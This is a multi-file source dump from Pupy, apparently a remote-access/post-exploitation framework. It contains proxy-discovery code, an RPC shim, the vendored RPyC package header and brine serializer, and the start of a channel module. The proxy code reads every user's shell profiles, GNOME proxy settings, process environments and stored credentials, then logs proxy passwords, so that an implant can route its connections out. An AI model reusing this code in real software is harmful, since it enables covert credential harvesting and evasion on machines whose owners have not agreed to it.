        apt_d = os.listdir('/etc/apt/apt.conf.d')
    except OSError:
        apt_d = []

    for apt_file in apt_d:
        content = _try_read(os.path.join(
            '/etc/apt/apt.conf.d', apt_file))
        if content:
            yield content

    try:
        import pwd
    except ImportError:
        return

    for user in pwd.getpwall():
        for profile in ('.bashrc', '.profile'):
            content = _try_read(os.path.join(user.pw_dir, profile))
            if content:
                yield content


def get_profile_proxies():
    for content in _get_profile_files_content():
        for match in PROFILE_MATCHER.findall(content):
            for proxy in _normalize_env_proxies(*match):
                yield proxy


def gio_init():
    global gio

    if gio is not None:
        return gio

    try:
        import ctypes

        gio = ctypes.CDLL('libgio-2.0.so')

        if hasattr(gio, 'g_type_init'):
            gio.g_type_init()

        gio.g_settings_new.restype = ctypes.c_void_p
        gio.g_settings_new.argtypes = [ctypes.c_char_p]

        gio.g_object_unref.argtypes = [ctypes.c_void_p]

        gio.g_settings_get_string.restype = ctypes.c_char_p
        gio.g_settings_get_string.argtypes = [ctypes.c_void_p, ctypes.c_char_p]

        gio.g_settings_get_int.restype = ctypes.c_int
        gio.g_settings_get_int.argtypes = [ctypes.c_void_p, ctypes.c_char_p]

        gio.g_settings_get_boolean.restype = ctypes.c_bool
        gio.g_settings_get_boolean.argtypes = [ctypes.c_void_p, ctypes.c_char_p]

        gio.g_settings_get_child.restype = ctypes.c_void_p
        gio.g_settings_get_child.argtypes = [ctypes.c_void_p, ctypes.c_char_p]

        if hasattr(gio, 'g_settings_schema_source_get_default'):
            gio.g_settings_schema_source_get_default.restype = ctypes.c_void_p
            gio.g_settings_schema_source_lookup.restype = ctypes.c_void_p
            gio.g_settings_schema_source_lookup.argtypes = [
                ctypes.c_void_p, ctypes.c_void_p, ctypes.c_bool
            ]
        else:
            gio.g_settings_schema_source_get_default = None


    except Exception as e:
        logger.error('GIO initialization failed: %s', e)
        gio = False

    return gio


def get_gio_proxies(force=True):
    gio = gio_init()
    if not gio:
        return

    schema = 'org.gnome.system.proxy'

    if gio.g_settings_schema_source_get_default:
        logger.debug('GIO: Check %s exists', schema)

        sources = gio.g_settings_schema_source_get_default()
        proxy_schema = gio.g_settings_schema_source_lookup(sources, schema, True)
        schema_found = bool(proxy_schema)

        if not schema_found:
            return
    else:
        logger.debug('TODO: Checking schemes for older GIO ABI is not supported yet')
        # TODO: g_settings_list_schemas
        return

    try:
        proxy = gio.g_settings_new(schema)

        mode = gio.g_settings_get_string(proxy, 'mode')
        if not force and (not mode or mode == 'none'):
            return

        http = gio.g_settings_get_child(proxy, 'http')
        host = gio.g_settings_get_string(http, 'host')
        port = gio.g_settings_get_int(http, 'port')
        user, password = None, None
        if gio.g_settings_get_boolean(http, 'use-authentication'):
            user = gio.g_settings_get_string(http, 'authentication-password')
            password = gio.g_settings_get_string(http, 'authentication-user')
        gio.g_object_unref(http)

        if host and port:
            logger.debug('HTTP Proxy found via GIO: %s:%s user=%s password=%s', host, port, user, password)
            yield Proxy('HTTP', '{}:{}'.format(host, port), user, password)

        socks = gio.g_settings_get_child(proxy, 'socks')
        host = gio.g_settings_get_string(socks, 'host')
        port = gio.g_settings_get_int(socks, 'port')
        gio.g_object_unref(socks)

        if host and port:
            logger.debug('SOCKS Proxy found via GIO: %s:%s user=%s password=%s', host, port, user, password)
            yield Proxy('SOCKS', '{}:{}'.format(host, port), None, None)

    except Exception as e:
        logger.exception('GIO request exception: %s', e)

    finally:
        gio.g_object_unref(proxy)


def get_processes_proxies():
    try:
        import psutil
    except:
        return

    proxies = set()

    for p in psutil.process_iter():
        try:
            environ = p.as_dict(['environ'])['environ']
        except WindowsError:
            continue

        if not environ:
            continue

        for var in PROXY_ENV:
            if var not in environ or not environ[var]:
                continue

            proxies.add(environ[var])

    for proxy in proxies:
        for parsed in parse_env_proxies(proxy):
            logger.debug('Proxy found via env: %s -> %s', proxy, parsed)
            yield parsed


def parse_proxy(proxy_str):
    login, password = None, None

    if isinstance(proxy_str, Proxy):
        yield proxy_str
    elif hasattr(proxy_str, 'as_tuple'):
        yield Proxy(*proxy_str.as_tuple())
    # HTTP:login:password@ip:port
    elif '://' in proxy_str:
        for proxy in parse_env_proxies(proxy_str):
            yield proxy
    else:
        #HTTP:ip:port OR HTTP:ip:[port:]login:password
        parts = proxy_str.split(':')

        if len(parts) >= 4:
            login, password = parts[-2], parts[-1]
            parts = parts[:-2]

        if len(parts) not in (2,3):
            return

        elif len(parts) == 2:
            proxy_type = 'SOCKS5'
            address, port = parts
        else:
            proxy_type, address, port = parts

        yield Proxy(
            proxy_type.upper(), address+':'+port, login, password
        )


def get_proxies():
    if LAST_PROXY is not None:
        yield LAST_PROXY

    for proxy in get_python_proxies():
        yield proxy

    for proxy in get_env_proxies():
        yield proxy

    if os.name == 'nt':
        for proxy in get_win_proxies():
            yield proxy

    elif os.name == 'posix':
        for proxy in get_profile_proxies():
            yield proxy

        for proxy in get_gio_proxies():
            yield proxy

    for proxy in get_processes_proxies():
        yield proxy


def _check_proxy_info(proxy_info):
    from .tinyhttp import HTTP

    logger.debug('%s - check', proxy_info)
    ctx = HTTP(proxy=proxy_info, timeout=5)
    try:
        data, code = ctx.get(CHECK_CONNECTIVITY_URL, code=True)

    except Exception as e:
        logger.debug('%s - failed - %s', proxy_info, e)
        return False

    if code == 204 and data == '':
        logger.debug('%s - ok', proxy_info)
        return True

    return False


def find_default_proxy():
    global LAST_PROXY, LAST_PROXY_TIME

    if LAST_PROXY_TIME is not None:
        if time.time() - LAST_PROXY_TIME < 3600:
            logger.debug('Cached default proxy: %s', LAST_PROXY)
            return LAST_PROXY

    logger.debug('Refresh required')

    LAST_PROXY_TIME = time.time()

    dups = set()

    for proxy_info in get_proxies():
        if proxy_info in dups:
            continue

        dups.add(proxy_info)

        if _check_proxy_info(proxy_info):
            LAST_PROXY = proxy_info
            return LAST_PROXY

    return LAST_PROXY


def has_wpad():
    global LAST_WPAD, LAST_WPAD_TIME

    if not get_proxy_for_address:
        return None

    if LAST_WPAD is not None:
        if time.time() - LAST_WPAD_TIME < 3600:
            logger.debug('Cached wpad: %s', LAST_WPAD)
            return LAST_WPAD

    from .tinyhttp import HTTP

    LAST_WPAD_TIME = time.time()

    pac_player = refresh_pac_player()
    if not pac_player:
        LAST_WPAD = False
        return False

    LAST_WPAD = False

    for proxy_info in get_proxy_for_address(CHECK_CONNECTIVITY_URL):
        ctx = HTTP(proxy=proxy_info, timeout=5)
        try:
            data, code = ctx.get(CHECK_CONNECTIVITY_URL, code=True)
        except Exception as e:
            logger.debug('WPAD: %s - failed - %s', proxy_info, e)
            continue

        if code == 204 and data == '':
            logger.debug('WPAD: %s - ok', proxy_info)
            LAST_WPAD = True
            break

    return LAST_WPAD


try:
    from .pac import (
        get_proxy_for_address, set_proxy_unavailable,
        refresh_pac_player
    )
except ImportError:
    get_proxy_for_address = None
    refresh_pac_player = None
    set_proxy_unavailable = None


def find_auth(proxy_info):
    if proxy_info.username or proxy_info.password:
        return

    if proxy_info.addr is None:
        # DIRECT for example
        return

    port = None
    cred = None

    try:
        if ':' in proxy_info.addr:
            address, port = proxy_info.addr.rsplit(':', 1)

        cred = find_first_cred(
            proxy_info.type.lower(),
            address, port
        )
    except Exception as e:
        logger.exception(e)
        return

    if cred:
        proxy_info.username = cred.user
        proxy_info.password = cred.password


def is_proxiable(chain, transport_info):
    if _is_native_for(chain, transport_info.transport):
        return True

    if not issubclass(transport_info.transport.client, PupyTCPClient):
        return False

    return True


def find_proxies(url=None, auth=True):
    wpad_proxies = None

    if url and get_proxy_for_address:
        wpad_proxies = get_proxy_for_address(url)
        logger.info('URL: %s WPAD: %s', url, wpad_proxies)

    if wpad_proxies:
        logger.info('WPAD for %s: %s', url, wpad_proxies)
        for proxy_info in wpad_proxies:
            if auth:
                find_auth(proxy_info)

            yield proxy_info

    # Try proxies which works
    proxy_info = find_default_proxy()
    if proxy_info:
        if auth:
            find_auth(proxy_info)

        yield proxy_info

    # Try everything
    for proxy_info in get_proxies():
        if proxy_info:
            if auth:
                find_auth(proxy_info)

            yield proxy_info


def make_args_for_transport_info(transport_info, host_info, chain):

    chost, cport, chostname = host_info
    transport_args = transport_info.transport_args.copy()
    client_args = transport_info.client_args.copy()
    client = transport_info.transport.client

    if chostname is not None and chostname != chost:
        if ':' in chostname:
            chostname = '[' + chostname + ']'

        transport_args['host'] = chostname

    if not chain:
        return ProxyInfo(
            client, client_args, transport_args,
            chost, cport, chain
        )

    first = chain[0]

    if _is_native_for(chain, transport_info.transport):
        chost, cport = first.addr.split(':')
        cport = int(cport)
        chain = []
    else:
        client_args['proxies'] = chain

        if client is PupyTCPClient:
            client = PupyProxifiedTCPClient
        elif client is PupySSLClient:
            client = PupyProxifiedSSLClient
        else:
            raise ValueError(
                'Proxification for {} is not implemented'.format(
                    client))

    transport_args['proxy'] = True
    if first.password or first.username:
        transport_args['auth'] = (first.username, first.password)

    transport_args['connect'] = host_info.host, host_info.port

    return ProxyInfo(
        client, client_args, transport_args, chost, cport, chain
    )


def _parse_proxies(proxies):
    if not proxies:
        return

    for proxy in proxies:
        for parsed_proxy in parse_proxy(proxy):
            yield parsed_proxy


def find_proxies_for_transport(
        transport_info, host_info,
        lan_proxies=None, wan_proxies=None, auto=True, wpad=True, direct=True):

    host, port, _ = host_info
    wpad_uri = None
    parsed_wan_proxies = list(_parse_proxies(wan_proxies))
    dups = set()

    if auto:
        if wpad:
            uri_host = host
            if ':' in host:
                uri_host = '[' + host + ']'
            wpad_uri = 'tcp://{}:{}'.format(uri_host, port)
            if 'HTTP' in transport_info.transport.internal_proxy_impl:
                wpad_uri = 'http://{}{}'.format(
                    uri_host, ':{}'.format(port) if port != 80 else '')

        for lan_proxy in find_proxies(wpad_uri):
            chain = []
            if lan_proxy in dups:
                continue

            dups.add(lan_proxy)

            if lan_proxy.type != 'DIRECT':
                chain.append(lan_proxy)

            chain.extend(parsed_wan_proxies)

            if not is_proxiable(chain, transport_info):
                logger.debug('Rejected proposition %s - unsupported transport', chain)
                continue

            yield make_args_for_transport_info(
                transport_info, host_info, chain)

    for lan_proxy in _parse_proxies(lan_proxies):
        if lan_proxy in dups:
            continue

        if _check_proxy_info(lan_proxy):
            global LAST_PROXY, LAST_PROXY_TIME

            LAST_PROXY = lan_proxy
            LAST_PROXY_TIME = time.time()

        dups.add(lan_proxy)

        chain = [lan_proxy]
        chain.extend(parsed_wan_proxies)

        if not is_proxiable(chain, transport_info):
            logger.debug('Rejected proposition %s - unsupported transport', chain)
            continue

        yield make_args_for_transport_info(
            transport_info, host_info, chain)

    if direct:
        if parsed_wan_proxies:
            yield make_args_for_transport_info(
                transport_info, host_info, parsed_wan_proxies)
        else:
            # Just return same info
            yield make_args_for_transport_info(
                transport_info, host_info, [])


def _is_native_for(proxies, transport):
    if not proxies or not len(proxies) == 1:
        return False

    first_proxy = proxies[0]

    return first_proxy.type in transport.internal_proxy_impl


def connect_client_with_proxy_info(transport_info, proxy_info):
    client = proxy_info.client(**proxy_info.client_args)
    sock = client.connect(proxy_info.host, proxy_info.port)
    stream = transport_info.transport.stream(
        sock,
        transport_info.transport.client_transport,
        proxy_info.transport_args
    )

    return stream


================================================
FILE: pupy/network/lib/pupyrpc.py
================================================
# -*- coding: utf-8 -*-
# Glue for backward compatibility

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = ('nowait', 'brine')

import sys

if 'rpyc' in sys.modules:
    import rpyc

    nowait = getattr(rpyc, 'async')
    brine = rpyc.core.brine
    netref = rpyc.core.netref

else:
    from pupy.network.lib.rpc import nowait
    from pupy.network.lib.rpc.core import brine


================================================
FILE: pupy/network/lib/rpc/__init__.py
================================================
"""
::

         #####    #####             ####
        ##   ##  ##   ##           ##             ####
        ##  ##   ##  ##           ##                 #
        #####    #####   ##   ##  ##               ##
        ##  ##   ##       ## ##   ##                 #
        ##   ##  ##        ###    ##              ###
        ##   ##  ##        ##      #####
     -------------------- ## ------------------------------------------
                         ##

Remote Python Call (RPyC)
Licensed under the MIT license (see `LICENSE` file)

A transparent, symmetric and light-weight RPC and distributed computing
library for python.

Usage::

    >>> import rpyc
    >>> c = network.lib.rpc.connect_by_service("SERVICENAME")
    >>> print c.root.some_function(1, 2, 3)

Classic-style usage::

    >>> import rpyc
    >>> # `hostname` is assumed to be running a slave-service server
    >>> c = network.lib.rpc.classic.connect("hostname")
    >>> print c.execute("x = 5")
    None
    >>> print c.eval("x + 2")
    7
    >>> print c.modules.os.listdir(".")       #doctest: +ELLIPSIS
    [...]
    >>> print c.modules["xml.dom.minidom"].parseString("<a/>")   #doctest: +ELLIPSIS
    <xml.dom.minidom.Document instance at ...>
    >>> f = c.builtin.open("foobar.txt", "rb")     #doctest: +SKIP
    >>> print f.read(100)     #doctest: +SKIP
    ...

"""

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

__all__ = (
    'Channel', 'Connection', 'Service', 'BaseNetref', 'AsyncResult',
    'GenericException', 'AsyncResultTimeout',
    'nowait', 'timed', 'buffiter', 'BgServingThread', 'restricted',
    'classic', 'byref',
    '__version__'
)

import sys

from pupy.network.lib.rpc.core import (
    Channel, Connection, Service, BaseNetref, AsyncResult,
    GenericException, AsyncResultTimeout, byref
)

from pupy.network.lib.rpc.utils.helpers import (
    nowait, timed, buffiter, BgServingThread, restricted
)

from pupy.network.lib.rpc.utils import classic

from pupy.network.lib.rpc.version import version as __version__


__author__ = "Tomer Filiba (tomerfiliba@gmail.com)"


================================================
FILE: pupy/network/lib/rpc/core/__init__.py
================================================
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

__all__ = (
    'Channel', 'Connection', 'BaseNetref',
    'AsyncResult', 'AsyncResultTimeout',
    'Service', 'GenericException',
    'Stream', 'ClosedFile', 'SocketStream', 'byref'
)

from pupy.network.lib.rpc.core.channel import Channel
from pupy.network.lib.rpc.core.protocol import Connection
from pupy.network.lib.rpc.core.netref import BaseNetref, byref
from pupy.network.lib.rpc.core.nowait import AsyncResult, AsyncResultTimeout
from pupy.network.lib.rpc.core.service import Service
from pupy.network.lib.rpc.core.vinegar import GenericException
from pupy.network.lib.rpc.core.stream import Stream, ClosedFile, SocketStream


================================================
FILE: pupy/network/lib/rpc/core/brine.py
================================================
"""
**Brine** is a simple, fast and secure object serializer for **immutable** objects.
The following types are supported: ``int``, ``long``, ``bool``, ``str``, ``float``,
``unicode``, ``bytes``, ``slice``, ``complex``, ``tuple`` (of simple types),
``frozenset`` (of simple types) as well as the following singletons: ``None``,
``NotImplemented``, and ``Ellipsis``.

Example::

    >>> x = ("he", 7, u"llo", 8, (), 900, None, True, Ellipsis, 18.2, 18.2j + 13,
    ... slice(1,2,3), frozenset([5,6,7]), NotImplemented)
    >>> dumpable(x)
    True
    >>> y = dump(x)
    >>> y.encode("hex")
    '140e0b686557080c6c6c6f580216033930300003061840323333333333331b402a000000000000403233333333333319125152531a1255565705'
    >>> z = load(y)
    >>> x == z
    True
"""

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import logging

from pupy.network.lib.compat import (
    Struct, BytesIO, is_py3k, as_byte, xrange
)


# singletons
TAG_NONE = b'\x00'
TAG_EMPTY_STR = b'\x01'
TAG_EMPTY_TUPLE = b'\x02'
TAG_TRUE = b'\x03'
TAG_FALSE = b'\x04'
TAG_NOT_IMPLEMENTED = b'\x05'
TAG_ELLIPSIS = b'\x06'
# types
TAG_UNICODE = b'\x08'
TAG_LONG = b'\x09'
TAG_STR1 = b'\x0a'
TAG_STR2 = b'\x0b'
TAG_STR3 = b'\x0c'
TAG_STR4 = b'\x0d'
TAG_STR_L1 = b'\x0e'
TAG_STR_L4 = b'\x0f'
TAG_TUP1 = b'\x10'
TAG_TUP2 = b'\x11'
TAG_TUP3 = b'\x12'
TAG_TUP4 = b'\x13'
TAG_TUP_L1 = b'\x14'
TAG_TUP_L4 = b'\x15'
TAG_INT_L1 = b'\x16'
TAG_INT_L4 = b'\x17'
TAG_FLOAT = b'\x18'
TAG_SLICE = b'\x19'
TAG_FSET = b'\x1a'
TAG_COMPLEX = b'\x1b'

# non-standard pupy RPC extensions
TAG_NAMED_TUPLE = b'\xf0'
TAG_IMMUTABLE_DICT = b'\xf1'
TAG_IMMUTABLE_SET = b'\xf2'
TAG_IMMUTABLE_LIST = b'\xf2'

REGISTERED_NAMED_TUPLES_PACK = {}
REGISTERED_NAMED_TUPLES_UNPACK = {}

MAX_REGISTERED_VERSION = 1


I1 = Struct(">B")
I4 = Struct(">L")
F8 = Struct(">d")
C16 = Struct(">dd")

_dump_registry = tuple(
    dict() for _ in xrange(MAX_REGISTERED_VERSION + 1)
)

_load_registry = tuple(
    ([None]*256) for _ in xrange(MAX_REGISTERED_VERSION + 1)
)


def _dump_named_tuple(obj, stream, version):
    obj_type = type(obj)
    tuple_id = REGISTERED_NAMED_TUPLES_PACK.get(obj_type)

    if tuple_id is None:
        raise ValueError('Unregistered named tuple type %s', obj_type)

    stream.append(TAG_NAMED_TUPLE)
    stream.append(I4.pack(tuple_id))
    tuple_dump = _dump_registry[0][tuple]
    tuple_dump(obj, stream, version)


def register_named_tuple(code, ntype):
    REGISTERED_NAMED_TUPLES_PACK[ntype] = code
    REGISTERED_NAMED_TUPLES_UNPACK[code] = ntype

    for ver in xrange(1, MAX_REGISTERED_VERSION + 1):
        _dump_registry[ver][ntype] = _dump_named_tuple


def register(coll, key, min_version=0):
    def deco(func):
        for version in xrange(min_version, MAX_REGISTERED_VERSION + 1):
            if coll is _dump_registry:
                _dump_registry[version][key] = func

            elif coll is _load_registry:
                _load_registry[version][ord(key)] = func

            else:
                raise ValueError(
                    'Unknown registry %s' % (repr(coll),)
                )

        return func

    return deco

# =============================================================================
# dumping
# =============================================================================


@register(_dump_registry, type(None))
def _dump_none(obj, stream, version):
    stream.append(TAG_NONE)


@register(_dump_registry, type(NotImplemented))
def _dump_notimplemeted(obj, stream, version):
    stream.append(TAG_NOT_IMPLEMENTED)


@register(_dump_registry, type(Ellipsis))
def _dump_ellipsis(obj, stream, version):
    stream.append(TAG_ELLIPSIS)


@register(_dump_registry, bool)
def _dump_bool(obj, stream, version):
    if obj:
        stream.append(TAG_TRUE)
    else:
        stream.append(TAG_FALSE)


@register(_dump_registry, slice)
def _dump_slice(obj, stream, version):
    stream.append(TAG_SLICE)
    _dump((obj.start, obj.stop, obj.step), stream, version)


@register(_dump_registry, frozenset)
def _dump_frozenset(obj, stream, version):
    stream.append(TAG_FSET)
    _dump(tuple(obj), stream, version)


@register(_dump_registry, int)
def _dump_int(obj, stream, version):
    if obj >= -0x30 and obj < 0xa0:
        stream.append(as_byte(obj + 0x50))
    else:
        obj = str(obj).encode('ascii')
        obj_len = len(obj)
        if obj_len < 256:
            stream.append(TAG_INT_L1 + I1.pack(obj_len) + obj)
        else:
            stream.append(TAG_INT_L4 + I4.pack(obj_len) + obj)


@register(_dump_registry, float)
def _dump_float(obj, stream, version):
    stream.append(TAG_FLOAT + F8.pack(obj))


@register(_dump_registry, complex)
def _dump_complex(obj, stream, version):
    stream.append(TAG_COMPLEX + C16.pack(obj.real, obj.imag))


if is_py3k:
    @register(_dump_registry, bytes)
    def _dump_bytes(obj, stream, version):
        obj_len = len(obj)
        if obj_len == 0:
            stream.append(TAG_EMPTY_STR)
        elif obj_len == 1:
            stream.append(TAG_STR1 + obj)
        elif obj_len == 2:
            stream.append(TAG_STR2 + obj)
        elif obj_len == 3:
            stream.append(TAG_STR3 + obj)
        elif obj_len == 4:
            stream.append(TAG_STR4 + obj)
        elif obj_len < 256:
            stream.append(TAG_STR_L1 + I1.pack(obj_len))
            stream.append(obj)
        else:
            stream.append(TAG_STR_L4 + I4.pack(obj_len))
            stream.append(obj)

    @register(_dump_registry, str)
    def _dump_str(obj, stream, version):
        stream.append(TAG_UNICODE)
        _dump_bytes(obj.encode('utf8'), stream, version)

    @register(_dump_registry, dict, 1)
    def _dump_immutable_dict(obj, stream, version):
        stream.append(TAG_IMMUTABLE_DICT)
        items = len(obj)
        stream.append(I4.pack(items))

        for item in obj.items():
            _dump(item, stream, version)

    @register(_dump_registry, type({}.keys()), 1)
    def _dump_immutable_dict_keys(obj, stream, version):
        stream.append(TAG_IMMUTABLE_LIST)
        items = len(obj)
        stream.append(I4.pack(items))

        for item in obj:
            _dump(item, stream, version)

else:
    @register(_dump_registry, str)
    def _dump_str(obj, stream, version):
        obj_len = len(obj)
        if obj_len == 0:
            stream.append(TAG_EMPTY_STR)
        elif obj_len == 1:
            stream.append(TAG_STR1 + obj)
        elif obj_len == 2:
            stream.append(TAG_STR2 + obj)
        elif obj_len == 3:
            stream.append(TAG_STR3 + obj)
        elif obj_len == 4:
            stream.append(TAG_STR4 + obj)
        elif obj_len < 256:
            stream.append(TAG_STR_L1 + I1.pack(obj_len))
            stream.append(obj)
        else:
            stream.append(TAG_STR_L4 + I4.pack(obj_len))
            stream.append(obj)

    @register(_dump_registry, unicode)
    def _dump_unicode(obj, stream, version):
        stream.append(TAG_UNICODE)
        _dump_str(obj.encode('utf8'), stream, version)

    @register(_dump_registry, long)
    def _dump_long(obj, stream, version):
        stream.append(TAG_LONG)
        _dump_int(obj, stream, version)

    @register(_dump_registry, dict, 1)
    def _dump_immutable_dict(obj, stream, version):
        stream.append(TAG_IMMUTABLE_DICT)
        items = len(obj)
        stream.append(I4.pack(items))

        for item in obj.iteritems():
            _dump(item, stream, version)


@register(_dump_registry, set, 1)
def _dump_immutable_set(obj, stream, version):
    stream.append(TAG_IMMUTABLE_SET)
    items = len(obj)
    stream.append(I4.pack(items))

    for item in obj:
        _dump(item, stream, version)


@register(_dump_registry, list, 1)
def _dump_immutable_list(obj, stream, version):
    stream.append(TAG_IMMUTABLE_LIST)
    items = len(obj)
    stream.append(I4.pack(items))

    for item in obj:
        _dump(item, stream, version)


@register(_dump_registry, tuple)
def _dump_tuple(obj, stream, version):
    obj_len = len(obj)
    if obj_len == 0:
        stream.append(TAG_EMPTY_TUPLE)
    elif obj_len == 1:
        stream.append(TAG_TUP1)
    elif obj_len == 2:
        stream.append(TAG_TUP2)
    elif obj_len == 3:
        stream.append(TAG_TUP3)
    elif obj_len == 4:
        stream.append(TAG_TUP4)
    elif obj_len < 256:
        stream.append(TAG_TUP_L1 + I1.pack(obj_len))
    else:
        stream.append(TAG_TUP_L4 + I4.pack(obj_len))

    for item in obj:
        _dump(item, stream, version)


def _undumpable(obj, stream, version):
    raise TypeError("cannot dump %r (%s) version=%s" % (
        obj, type(obj), version)
    )


def _dump(obj, stream, version=0):
    dumper = _dump_registry[version].get(
        type(obj), _undumpable
    )

    dumper(obj, stream, version)

# =============================================================================
# loading
# =============================================================================


@register(_load_registry, TAG_NAMED_TUPLE, 1)
def _load_named_tuple(stream, version):
    tuple_id, = I4.unpack(stream.read(4))
    obj_type = REGISTERED_NAMED_TUPLES_UNPACK.get(tuple_id)
    if obj_type is None:
        raise ValueError('Unregistered named tuple id %s', tuple_id)

    tuple_data = _load(stream, version)
    return obj_type(*tuple_data)


@register(_load_registry, TAG_IMMUTABLE_DICT, 1)
def _load_immutable_dict(stream, version):
    items, = I4.unpack(stream.read(4))
    dict_items = []

    for _ in xrange(items):
        dict_items.append(_load(stream, version))

    return dict(dict_items)


@register(_load_registry, TAG_IMMUTABLE_SET, 1)
def _load_immutable_set(stream, version):
    items, = I4.unpack(stream.read(4))
    result = set()

    for _ in xrange(items):
        result.add(_load(stream, version))

    return result


@register(_load_registry, TAG_IMMUTABLE_LIST, 1)
def _load_immutable_list(stream, version):
    items, = I4.unpack(stream.read(4))
    result = list()

    for _ in xrange(items):
        result.append(_load(stream, version))

    return result


@register(_load_registry, TAG_NONE)
def _load_none(stream, version):
    return None


@register(_load_registry, TAG_NOT_IMPLEMENTED)
def _load_nonimp(stream, version):
    return NotImplemented


@register(_load_registry, TAG_ELLIPSIS)
def _load_elipsis(stream, version):
    return Ellipsis


@register(_load_registry, TAG_TRUE)
def _load_true(stream, version):
    return True


@register(_load_registry, TAG_FALSE)
def _load_false(stream, version):
    return False


@register(_load_registry, TAG_EMPTY_TUPLE)
def _load_empty_tuple(stream, version):
    return ()


@register(_load_registry, TAG_EMPTY_STR)
def _load_empty_str(stream, version):
    return b''


if is_py3k:
    @register(_load_registry, TAG_LONG)
    def _load_long(stream, version):
        obj = _load(stream, version)
        return int(obj)
else:
    @register(_load_registry, TAG_LONG)
    def _load_long(stream, version):
        obj = _load(stream, version)
        return long(obj)


@register(_load_registry, TAG_FLOAT)
def _load_float(stream, version):
    return F8.unpack(stream.read(8))[0]


@register(_load_registry, TAG_COMPLEX)
def _load_complex(stream, version):
    real, imag = C16.unpack(stream.read(16))
    return complex(real, imag)


@register(_load_registry, TAG_STR1)
def _load_str1(stream, version):
    return stream.read(1)


@register(_load_registry, TAG_STR2)
def _load_str2(stream, version):
    return stream.read(2)


@register(_load_registry, TAG_STR3)
def _load_str3(stream, version):
    return stream.read(3)


@register(_load_registry, TAG_STR4)
def _load_str4(stream, version):
    return stream.read(4)


@register(_load_registry, TAG_STR_L1)
def _load_str_l1(stream, version):
    obj_len, = I1.unpack(stream.read(1))
    return stream.read(obj_len)


@register(_load_registry, TAG_STR_L4)
def _load_str_l4(stream, version):
    obj_len, = I4.unpack(stream.read(4))
    return stream.read(obj_len)


@register(_load_registry, TAG_UNICODE)
def _load_unicode(stream, version):
    obj = _load(stream, version)
    return obj.decode("utf-8")


@register(_load_registry, TAG_TUP1)
def _load_tup1(stream, version):
    return (_load(stream, version),)


@register(_load_registry, TAG_TUP2)
def _load_tup2(stream, version):
    return (_load(stream, version), _load(stream, version))


@register(_load_registry, TAG_TUP3)
def _load_tup3(stream, version):
    return (
        _load(stream, version), _load(stream, version),
        _load(stream, version)
    )


@register(_load_registry, TAG_TUP4)
def _load_tup4(stream, version):
    return (
        _load(stream, version), _load(stream, version),
        _load(stream, version), _load(stream, version)
    )


@register(_load_registry, TAG_TUP_L1)
def _load_tup_l1(stream, version):
    obj_len, = I1.unpack(stream.read(1))
    return tuple(_load(stream, version) for _ in xrange(obj_len))


@register(_load_registry, TAG_TUP_L4)
def _load_tup_l4(stream, version):
    obj_len, = I4.unpack(stream.read(4))
    return tuple(_load(stream, version) for _ in xrange(obj_len))


@register(_load_registry, TAG_SLICE)
def _load_slice(stream, version):
    start, stop, step = _load(stream, version)
    return slice(start, stop, step)


@register(_load_registry, TAG_FSET)
def _load_frozenset(stream, version):
    return frozenset(_load(stream, version))


@register(_load_registry, TAG_INT_L1)
def _load_int_l1(stream, version):
    obj_len, = I1.unpack(stream.read(1))
    return int(stream.read(obj_len))


@register(_load_registry, TAG_INT_L4)
def _load_int_l4(stream, version):
    obj_len, = I4.unpack(stream.read(4))
    return int(stream.read(obj_len))


def _load(stream, version=0):
    tag = stream.read(1)
    ival = ord(tag)

    if ival >= 0x20 and ival < 0xf0:
        return ival - 0x50

    loader = _load_registry[version][ival]
    if loader is None:
        raise ValueError('Unknown tag 0x%02x' % (ival,))

    return loader(stream, version)


# =============================================================================
# API
# =============================================================================


def dump(obj, version=0):
    """Converts (dumps) the given object to a byte-string representation

    :param obj: any :func:`dumpable` object

    :returns: a byte-string representation of the object
    """
    stream = []
    _dump(obj, stream, version)
    return b''.join(stream)


def load(data, version=0):
    """Recreates (loads) an object from its byte-string representation

    :param data: the byte-string representation of an object

    :returns: the dumped object
    """
    stream = BytesIO(data)
    return _load(stream, version)


if is_py3k:
    simple_types = frozenset([
        type(None), int, bool, float, bytes, str, complex,
        type(NotImplemented), type(Ellipsis)
    ])
else:
    simple_types = frozenset([
        type(None), int, long, bool, float, str, unicode, complex,
        type(NotImplemented), type(Ellipsis)
    ])


def dumpable(obj, version=0, log_deep=False, copy_mutable=True):
    """Indicates whether the given object is *dumpable* by brine

    :returns: ``True`` if the object is dumpable (e.g., :func:`dump`
                    would succeed),
              ``False`` otherwise
    """
    if type(obj) in simple_types:
        return True

    if type(obj) in (tuple, frozenset):
        return all(dumpable(item, version, log_deep) for item in obj)

    if type(obj) is slice:
        return \
            dumpable(obj.start, version, log_deep) and \
            dumpable(obj.stop, version, log_deep) and \
            dumpable(obj.step, version, log_deep)

    if type(obj) in _dump_registry[version]:
        if isinstance(obj, tuple) or (type(obj) is set and copy_mutable):
            return all(dumpable(item, version, True) for item in obj)
        elif type(obj) is dict and copy_mutable:
            return all(
                dumpable(k, version, True) and dumpable(v, version, True)
                for k, v in obj.items()
            )

    if __debug__:
        if log_deep:
            logging.debug(
                'dumpable(deep): undumpable object type %s (%s)',
                type(obj), repr(obj)
            )

    return False


if __name__ == "__main__":
    import doctest
    doctest.testmod()


================================================
FILE: pupy/network/lib/rpc/core/channel.py
================================================
"""
*Channel* is an abstraction layer over streams that works with *packets of data*,
rather than an endless stream of bytes, and adds support for compression.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from ..lib import safe_import
from pupy.network.lib.compat import Struct

zlib = safe_import("zlib")


# * 64 bit length field?
# * separate \n into a FlushingChannel subclass?
# * add thread safety as a subclass?

class Channel(object):
    """Channel implementation.

    Note: In order to avoid problems with all sorts of line-buffered transports,
    we deliberately add ``\\n`` at the end of each frame.
    """

    COMPRESSION_THRESHOLD = 3000
    COMPRESSION_LEVEL = 1
    FRAME_HEADER = Struct("!LB")
    FLUSHER = b'\n'

    __slots__ = ["stream", "compress"]

    def __init__(self, stream, compress = True):
        self.stream = stream
        if not zlib:
            compress = False
        self.compress = compress

    def close(self):
        """closes the channel and underlying stream"""
        self.stream.close()

    @property
    def closed(self):
        """indicates whether the underlying stream has been closed"""
        return self.stream.closed

    def fileno(self):
        """returns the file descriptor of the underlying stream"""
        return self.stream.fileno()

    def poll(self, timeout):
